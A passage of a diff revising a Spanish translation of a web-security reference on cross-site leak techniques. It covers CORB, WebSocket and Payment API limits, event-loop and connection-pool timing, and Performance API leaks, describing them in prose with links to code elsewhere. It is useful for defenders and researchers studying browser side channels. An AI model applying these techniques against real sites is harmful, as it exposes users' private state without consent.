- **More info**:
|
||||
- **Summary:** Si la **página** está **devolviendo** el contenido **sensible**, **o** un **contenido** que puede ser **controlado** por el usuario. El usuario podría establecer **código JS válido en el caso negativo**, un **cargar** cada intento dentro de **`<script>`** etiquetas, así que en **casos negativos** el **código** de los atacantes se **ejecuta**, y en **casos afirmativos** **nada** se ejecutará.
|
||||
- **Summary:** Si la **página** está **devolviendo** el contenido **sensible**, **o** un **contenido** que puede ser **controlado** por el usuario. El usuario podría establecer **código JS válido en el caso negativo**, y **cargar** cada intento dentro de **`<script>`** etiquetas, así en **casos negativos** el **código** de los atacantes se **ejecuta**, y en **casos afirmativos** **nada** se ejecutará.
|
||||
- **Code Example:**
|
||||
|
||||
{{#ref}}
|
||||
@ -162,9 +162,9 @@ xs-search/javascript-execution-xs-leak.md
|
||||
### CORB - Onerror
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Código de Estado y Encabezados
|
||||
- **Detectable Difference**: Código de estado y encabezados
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **Summary**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que previene que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (indicando éxito o error) y el `Content-Type` (denotando si está protegido por **CORB**), lo que lleva a una posible fuga de información.
|
||||
- **Summary**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que impide que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (que indica éxito o error) y el `Content-Type` (que indica si está protegido por **CORB**), lo que lleva a una posible fuga de información.
|
||||
- **Code Example**:
|
||||
|
||||
Consulta el enlace de más información para obtener más información sobre el ataque.
|
||||
@ -172,7 +172,7 @@ Consulta el enlace de más información para obtener más información sobre el
|
||||
### onblur
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenido de la Página
|
||||
- **Detectable Difference**: Contenido de la página
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
||||
- **Summary**: Filtrar datos sensibles del atributo id o nombre.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
@ -190,36 +190,36 @@ Puedes realizar el mismo ataque con etiquetas **`portal`**.
|
||||
|
||||
Las aplicaciones utilizan frecuentemente [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente **información sensible** si el parámetro `targetOrigin` no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Además, el mero acto de recibir un mensaje puede actuar como un **oráculo**; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que han iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o identidad del usuario, como si están autenticados o no.
|
||||
|
||||
## Global Limits Techniques
|
||||
## Técnicas de Límites Globales
|
||||
|
||||
### WebSocket API
|
||||
### API de WebSocket
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Uso de API
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Agotar el límite de conexiones WebSocket filtra el número de conexiones WebSocket de una página de origen cruzado.
|
||||
- **Summary**: Agotar el límite de conexión de WebSocket filtra el número de conexiones de WebSocket de una página de origen cruzado.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
|
||||
Es posible identificar si, y cuántas, **conexiones WebSocket utiliza una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones WebSocket.
|
||||
Es posible identificar si, y cuántas, **conexiones de WebSocket utiliza una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones de WebSocket.
|
||||
|
||||
Si un **origen** utiliza la **máxima cantidad de objetos de conexión WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que la web objetivo se haya cargado, intenta crear el máximo número de conexiones WebSocket posible. El **número de excepciones lanzadas** es el **número de conexiones WebSocket utilizadas por la ventana del sitio web objetivo**.
|
||||
Si un **origen** utiliza la **máxima cantidad de objetos de conexión de WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que se haya cargado la web objetivo, intenta crear el máximo número de conexiones de WebSocket posible. El **número de excepciones lanzadas** es el **número de conexiones de WebSocket utilizadas por la ventana del sitio web objetivo**.
|
||||
|
||||
### Payment API
|
||||
### API de Pago
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Uso de API
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Detectar la Solicitud de Pago porque solo una puede estar activa a la vez.
|
||||
- **Summary**: Detectar la solicitud de pago porque solo una puede estar activa a la vez.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
Esta XS-Leak permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
|
||||
Esta fuga XS permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
|
||||
|
||||
Debido a que **solo una solicitud de pago puede estar activa** al mismo tiempo, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier intento adicional de mostrar esta API fallará**, y causará una **excepción de JavaScript**. El atacante puede explotar esto **intentando mostrar periódicamente la interfaz de usuario de la API de Pago**. Si un intento causa una excepción, el sitio web objetivo la está utilizando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de su creación.
|
||||
Debido a que **solo una solicitud de pago puede estar activa** al mismo tiempo, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier intento adicional de usar esta API fallará**, y causará una **excepción de JavaScript**. El atacante puede explotar esto **intentando mostrar periódicamente la interfaz de usuario de la API de Pago**. Si un intento causa una excepción, el sitio web objetivo la está utilizando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de su creación.
|
||||
|
||||
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
### Temporización del Bucle de Eventos <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Detectable Difference**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
||||
- **Summary:** Medir el tiempo de ejecución de una web abusando del bucle de eventos JS de un solo hilo.
|
||||
- **Code Example**:
|
||||
@ -231,25 +231,25 @@ xs-search/event-loop-blocking-+-lazy-images.md
|
||||
JavaScript opera en un modelo de concurrencia de [bucle de eventos de un solo hilo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), lo que significa que **solo puede ejecutar una tarea a la vez**. Esta característica puede ser explotada para medir **cuánto tiempo tarda en ejecutarse el código de un origen diferente**. Un atacante puede medir el tiempo de ejecución de su propio código en el bucle de eventos enviando continuamente eventos con propiedades fijas. Estos eventos se procesarán cuando el grupo de eventos esté vacío. Si otros orígenes también están enviando eventos al mismo grupo, un **atacante puede inferir el tiempo que tardan en ejecutarse estos eventos externos al observar retrasos en la ejecución de sus propias tareas**. Este método de monitoreo del bucle de eventos para retrasos puede revelar el tiempo de ejecución del código de diferentes orígenes, exponiendo potencialmente información sensible.
|
||||
|
||||
> [!WARNING]
|
||||
> En un tiempo de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
|
||||
> En una temporización de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
|
||||
|
||||
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
### Bucle de Eventos Ocupado <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Detectable Difference**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** Un método para medir el tiempo de ejecución de una operación web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir **cuánto tiempo tarda en estar disponible nuevamente**. Al insertar una operación de bloqueo (como un cálculo largo o una llamada a una API síncrona) en el bucle de eventos y monitorear el tiempo que tarda en comenzar la ejecución del código subsiguiente, se puede inferir la duración de las tareas que se estaban ejecutando en el bucle de eventos durante el período de bloqueo. Esta técnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar información sobre el rendimiento o el comportamiento de otras operaciones que comparten el mismo hilo.
|
||||
- **Code Example**:
|
||||
|
||||
Una ventaja significativa de la técnica de medir el tiempo de ejecución bloqueando el bucle de eventos es su potencial para eludir **Site Isolation**. **Site Isolation** es una característica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en el tiempo de ejecución de otro origen a través del bucle de eventos compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos del otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, eludiendo así las barreras protectoras establecidas por **Site Isolation**.
|
||||
Una ventaja significativa de la técnica de medir el tiempo de ejecución bloqueando el bucle de eventos es su potencial para eludir **Site Isolation**. **Site Isolation** es una característica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en la temporización de ejecución de otro origen a través del bucle de eventos compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos de otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, eludiendo así las barreras de protección establecidas por **Site Isolation**.
|
||||
|
||||
> [!WARNING]
|
||||
> En un tiempo de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
|
||||
> En una temporización de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
|
||||
|
||||
### Connection Pool
|
||||
### Pool de Conexiones
|
||||
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Inclusion Methods**: Solicitudes de JavaScript
|
||||
- **Detectable Difference**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **Summary:** Un atacante podría bloquear todos los sockets excepto 1, cargar la web objetivo y al mismo tiempo cargar otra página, el tiempo hasta que la última página comience a cargar es el tiempo que la página objetivo tardó en cargar.
|
||||
- **Code Example**:
|
||||
@ -263,163 +263,163 @@ Los navegadores utilizan sockets para la comunicación con el servidor, pero deb
|
||||
1. Determinar el límite de sockets del navegador, por ejemplo, 256 sockets globales.
|
||||
2. Ocupando 255 sockets durante un período prolongado iniciando 255 solicitudes a varios hosts, diseñadas para mantener las conexiones abiertas sin completarse.
|
||||
3. Utilizar el socket 256 para enviar una solicitud a la página objetivo.
|
||||
4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. La demora antes de que esta solicitud proceda proporciona al atacante información de tiempo sobre la actividad de red relacionada con el socket 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket que se vuelva disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está, por lo tanto, directamente relacionado con el tiempo que se requiere para que la solicitud a la página objetivo se complete.
|
||||
4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. La demora antes de que esta solicitud avance proporciona al atacante información de temporización sobre la actividad de red relacionada con el socket 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket que se vuelva disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está directamente relacionado con el tiempo que tardó en completarse la solicitud a la página objetivo.
|
||||
|
||||
Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
### Connection Pool by Destination
|
||||
### Pool de Conexiones por Destino
|
||||
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Inclusion Methods**: Solicitudes de JavaScript
|
||||
- **Detectable Difference**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **More info**:
|
||||
- **Summary:** Es como la técnica anterior, pero en lugar de usar todos los sockets, Google **Chrome** impone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **medir** el tiempo y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tomará **más tiempo** y podemos detectarlo.
|
||||
- **Summary:** Es como la técnica anterior, pero en lugar de usar todos los sockets, Google **Chrome** impone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **temporizarla** y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tomará **más tiempo** y podemos detectarlo.
|
||||
|
||||
## Performance API Techniques
|
||||
## Técnicas de API de Rendimiento
|
||||
|
||||
La [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La Resource Timing API permite monitorear los tiempos de las solicitudes de red detalladamente, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
|
||||
La [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La Resource Timing API permite monitorear los tiempos de solicitud de red detallados, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
|
||||
|
||||
Esta riqueza de datos se puede recuperar a través de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), proporcionando una vista completa de la información relacionada con el rendimiento. Además, la API facilita la medición de los tiempos de ejecución calculando la diferencia entre las marcas de tiempo obtenidas de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Sin embargo, vale la pena señalar que para ciertas operaciones en navegadores como Chrome, la precisión de `performance.now()` puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de tiempo.
|
||||
Esta abundancia de datos se puede recuperar a través de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), proporcionando una vista completa de la información relacionada con el rendimiento. Además, la API facilita la medición de los tiempos de ejecución calculando la diferencia entre las marcas de tiempo obtenidas de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Sin embargo, vale la pena señalar que para ciertas operaciones en navegadores como Chrome, la precisión de `performance.now()` puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de temporización.
|
||||
|
||||
Más allá de las mediciones de tiempo, la Performance API puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada de renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
|
||||
Más allá de las mediciones de temporización, la Performance API puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada de renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
|
||||
|
||||
### Error Leak
|
||||
### Fuga de Errores
|
||||
|
||||
- **Inclusion Methods**: Frames, HTML Elements
|
||||
- **Detectable Difference**: Código de Estado
|
||||
- **Detectable Difference**: Código de estado
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Una solicitud que resulta en errores no creará una entrada de tiempo de recursos.
|
||||
- **Summary:** Una solicitud que resulta en errores no creará una entrada de temporización de recursos.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||||
|
||||
Es posible **diferenciar entre códigos de estado de respuesta HTTP** porque las solicitudes que conducen a un **error** **no crean una entrada de rendimiento**.
|
||||
|
||||
### Style Reload Error
|
||||
### Error de Recarga de Estilo
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Código de Estado
|
||||
- **Detectable Difference**: Código de estado
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Debido a un error del navegador, las solicitudes que resultan en errores se cargan dos veces.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
En la técnica anterior también se identificaron dos casos donde errores del navegador en GC llevan a que **los recursos se carguen dos veces cuando fallan en cargar**. Esto resultará en múltiples entradas en la API de Rendimiento y puede ser detectado.
|
||||
|
||||
### Request Merging Error
|
||||
### Error de Fusión de Solicitudes
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Código de Estado
|
||||
- **Detectable Difference**: Código de estado
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Las solicitudes que resultan en un error no pueden ser fusionadas.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
La técnica se encontró en una tabla en el documento mencionado, pero no se encontró ninguna descripción de la técnica en él. Sin embargo, puedes encontrar el código fuente verificándolo en [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
### Empty Page Leak
|
||||
### Fuga de Página Vacía
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenido de la Página
|
||||
- **Detectable Difference**: Contenido de la página
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Las respuestas vacías no crean entradas de tiempo de recursos.
|
||||
- **Summary:** Las respuestas vacías no crean entradas de temporización de recursos.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||||
|
||||
Un atacante puede detectar si una solicitud resultó en un cuerpo de respuesta HTTP vacío porque **las páginas vacías no crean una entrada de rendimiento en algunos navegadores**.
|
||||
|
||||
### **XSS-Auditor Leak**
|
||||
### **Fuga del Auditor XSS**
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenido de la Página
|
||||
- **Detectable Difference**: Contenido de la página
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Usando el XSS Auditor en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web al observar alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
|
||||
- **Summary:** Usando el Auditor XSS en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web al observar alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
En Aserciones de Seguridad (SA), el XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), todavía está presente en SA. En 2013, Braun y Heiderich demostraron que el XSS Auditor podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el XSS Auditor en GC, se descubrió que en SA, las páginas bloqueadas por el XSS Auditor no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir siendo filtrada.
|
||||
En Aserciones de Seguridad (SA), el Auditor XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), todavía está presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor XSS podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el Auditor XSS en GC, se descubrió que en SA, las páginas bloqueadas por el Auditor XSS no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir siendo filtrada.
|
||||
|
||||
### X-Frame Leak
|
||||
### Fuga de X-Frame
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Encabezado
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
||||
- **Summary:** Un recurso con encabezado X-Frame-Options no crea una entrada de tiempo de recursos.
|
||||
- **Summary:** Un recurso con encabezado X-Frame-Options no crea una entrada de temporización de recursos.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
Si una página **no está permitida** para ser **renderizada** en un **iframe**, no **crea una entrada de rendimiento**. Como resultado, un atacante puede detectar el encabezado de respuesta **`X-Frame-Options`**.\
|
||||
Lo mismo ocurre si usas una etiqueta **embed**.
|
||||
|
||||
### Download Detection
|
||||
### Detección de Descargas
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Encabezado
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Las descargas no crean entradas de tiempo de recursos en la API de Rendimiento.
|
||||
- **Summary:** Las descargas no crean entradas de temporización de recursos en la API de Rendimiento.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
Similar a la XS-Leak descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, también **no crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
|
||||
Similar a la fuga XS descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, también **no crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
|
||||
|
||||
### Redirect Start Leak
|
||||
### Fuga de Inicio de Redirección
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Redirección
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** La entrada de tiempo de recursos filtra el tiempo de inicio de una redirección.
|
||||
- **Summary:** La entrada de temporización de recursos filtra el tiempo de inicio de una redirección.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de tiempo de redirección**.
|
||||
Encontramos una instancia de fuga XS que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de temporización de redirectStart**.
|
||||
|
||||
### Duration Redirect Leak
|
||||
### Fuga de Duración de Redirección
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Redirección
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** La duración de las entradas de tiempo es negativa cuando ocurre una redirección.
|
||||
- **Summary:** La duración de las entradas de temporización es negativa cuando ocurre una redirección.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||||
|
||||
En GC, la **duración** para solicitudes que resultan en una **redirección** es **negativa** y puede ser **distingida** de solicitudes que no resultan en una redirección.
|
||||
|
||||
### CORP Leak
|
||||
### Fuga de CORP
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Encabezado
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Los recursos protegidos con CORP no crean entradas de tiempo de recursos.
|
||||
- **Summary:** Los recursos protegidos con CORP no crean entradas de temporización de recursos.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
En algunos casos, la entrada **nextHopProtocol** puede ser utilizada como una técnica de fuga. En GC, cuando se establece el **encabezado CORP**, el nextHopProtocol estará **vacío**. Ten en cuenta que SA no creará una entrada de rendimiento en absoluto para recursos habilitados para CORP.
|
||||
En algunos casos, la entrada **nextHopProtocol** puede ser utilizada como una técnica de fuga. En GC, cuando se establece el **encabezado CORP**, nextHopProtocol estará **vacío**. Ten en cuenta que SA no creará una entrada de rendimiento en absoluto para recursos habilitados para CORP.
|
||||
|
||||
### Service Worker
|
||||
### Worker de Servicio
|
||||
|
||||
